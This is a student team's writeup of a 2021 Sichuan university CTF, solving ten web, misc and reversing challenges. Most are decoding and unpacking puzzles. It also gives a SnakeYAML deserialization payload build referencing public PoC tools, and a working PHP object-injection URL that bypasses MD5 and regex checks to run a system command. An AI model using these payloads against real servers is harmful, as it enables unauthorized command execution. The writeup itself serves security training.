2021年四川省大学生网络安全技能大赛 writeup

师傅们tql,排名第八,得了个证书,哈哈哈

一、 战队信息

战队名称:boy_next_the_door

战队编号:lx_31426d

所属单位:成都信息工程大学

战队成员姓名:吴昊 刘仕林 张舒

二、解题情况

image-20210515164157410

image-20210515164251587

三、 解题过程

题目一 easyyaml

操作内容:

去网上搜索了一下别人的poc

https://github.com/artsploit/yaml-payload

https://github.com/mbechler/marshalsec

https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true

将其更改了一下

这个题考察snakeyaml的反序列化

但是有一点需要注意的是

address类的属性ext为Object.gadget从第二个链接获取

将要执行的Java代码放入AwesomeScriptEngineFactory.java中并进行编译:

1
2
javac src / artsploit / AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src / 。

然后即可进行正常的攻击

flag值

1
flag{31df1d6dca4683ad8c27acf8c7c04326}

题目二 papapa

操作内容:

扫描目录发现robots.txt

看robots.txt有提示main.php
image-20210515135112692
image-20210515140017409

传参a发现了加密的代码

image-20210515140140792

两次base64解码 再 16进制解码得到源码

image-20210515140619900

md5数组绕过,正则那可以-绕过,也可以用%0a绕过

然后知道了system()能命令执行

构造payload

使用ls 看到wobushif0agaaa.txt

cat这个文件

1
2
3
4
5
6
7
8
9
<?php
// 'this_is_a_easy_php'
error_reporting(0);

class NoVu {
public $command='cat wobushif0agaaa.txt';
}
echo urlencode(serialize(new NoVu));
?>

最后的payload

1
/main.php?a[]=1&b[]=2&c=-&d=O%3A4%3A"NoVu"%3A1%3A%7Bs%3A7%3A"command"%3Bs%3A22%3A"cat+wobushif0agaaa.txt"%3B%7D

image-20210515162112926

脚本

1
2
3
4
5
6
7
8
9
<?php
// 'this_is_a_easy_php'
error_reporting(0);

class NoVu {
public $command='cat wobushif0agaaa.txt';
}
echo urlencode(serialize(new NoVu));
?>

flag值

flag{73ac78436f0e761123a9888bf24a5c79}

题目三 Misc 我的世界

操作内容:

​ 下载文件后打开我的世界,发现真的是个游戏:

imgimgimgimg

​ 在信标处宝箱内可以得到一本名字为flag1的书,打开后发现以上字符串,初步断定是**栅栏加密**,先解一下,这里我用的在线工具,当栏数为14时得到

img

很像flag了,尝试提交但是不对,继续在地图内探索,在信标旁内的洞穴内发现有如下:

imgimg

可以看到在信标附近有异常,飞过去看,是这个:
img

结合flag=1+1,经过尝试得到flag,居然是把CTF515加在后面,不得不说这个题确实有点脑洞的感觉。

如该题使用自己编写的脚本请详细写出,不允许截图

1

flag值上传图片失败。错误信息: Comman:

1
flag{scdxsCTF2021422CTF515}

题目四 Misc disk-recover

操作内容:

​ 下载解压题目得到upload.pcapng文件,直接用7-Zip可以解压出一个已损坏的光盘映像文件disk-recovery.img,直接用DiskGenius恢复。

​ 先打开损坏文件:

img

​ 再选中恢复

img

​ 得到了一个.xls文件,

img

img

打开就可以看到flag

flag:

1
flag{E7A10C15E26AA5750070EF756AAA1F7C}

题目五 Misc pack

操作内容:

ctf.exe,pe view打开,可以看到节区名错了

img

upx脱壳,脱壳先修改节区名

脱壳完后,用ResourceHacker.exe打开,看资源,得到flag分为2部分

img

脚本:

flag:

flag{0bed66d154ccbdd07a6342abf97a5cfc}

题目六 em0ji

操作内容:

下载附件打开
image-20210515141433133

前面四个肯定是flag

所以借此线索进行收集

网上搜索emoji的官方网站

https://www.emojiall.com/zh-hans/emoji/%F0%9F%98%81

image-20210515203137931

查看简短代码的首字母,拼接得到

image-20210515141708869

脚本:

flag

1
flag{emojiisverysimple}

题目七 easy_re

操作内容:

upx解壳,手动或者upx脱。

分析流程

脚本

脚本

#include<stdio.h>

int main()
{
    char code[]="'- &:8.4a 3$a&3$ 5```<";
    int i;

    for(i=0;i<22;i++)
    {
        printf("%c",code[i]^0x41);
    }
}

flag值

1
flag{you are great!!!}

题目八 easy.pyc

操作内容:

pyc转py

1
uncompyle6 -o  C:\Users\hp\Downloads\easy.py C:\Users\hp\Downloads\easy.pyc

然后看流程

脚本

脚本

import base64
url = "XlhlX0sMEWNiDxQQDgwTXl5eZRFgFWMOFBATXhMMYw8PD2UMZUk="
str_url = base64.b64decode(url)
for i in str_url:
    x=(i-6)^62
    print(chr(x),end='')

flag值

1
flag{85cb704683fffa5d1c6043f38c777a8a}

题目九 base变形计.exe

操作内容:

upx脱壳

先得到str2

#include<stdio.h>

int main(void)
{
    int v9[]={0x00000050,0x00000067,0x00000072,0x00000062,0x00000050,0x00000019,0x00000079,0x0000001e,0x00000047,0x0000005e,0x0000004f,0x00000072,0x00000044,0x0000005d,0x0000005f,0x0000001b,0x00000044,0x00000070,0x00000062,0x00000063,0x00000047,0x0000005d,0x00000047,0x00000072,0x00000045,0x0000005e,0x00000050,0x00000063,0x00000047,0x00000070,0x0000005b,0x00000018,0x00000050,0x00000060,0x00000069,0x0000001f,0x00000053,0x0000005d,0x0000004c,0x00000066,0x00000045,0x0000005e,0x00000053,0x00000072,0x00000053,0x00000070,0x0000005b,0x0000007d,0x00000053,0x00000019,0x0000001a,0x00000017};
    char str2[]="0000000000000000000000000000000000000000000000000000";
    int i;

    for(i=0;i<=51;i++)
    {
        str2[i]=42^v9[i];

        printf("%c",str2[i]);
    }
}
//zMXHz3S4mteXnwu1nZHImwmXotzImZq2zJC5ywfLotyXyZqWy30=

变表base解密

import base64
import string

str1 = 'zMXHz3S4mteXnwu1nZHImwmXotzImZq2zJC5ywfLotyXyZqWy30='

string1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))

flag

1
flag{81115e578b1c196b346f79aae961c40c}

题目十 2021年四川省大学生网络安全技能大赛问卷调查

操作内容:

有手就行

脚本:

flag:

1
flag{ZWNkeHNjdGZpc2cwMGQ}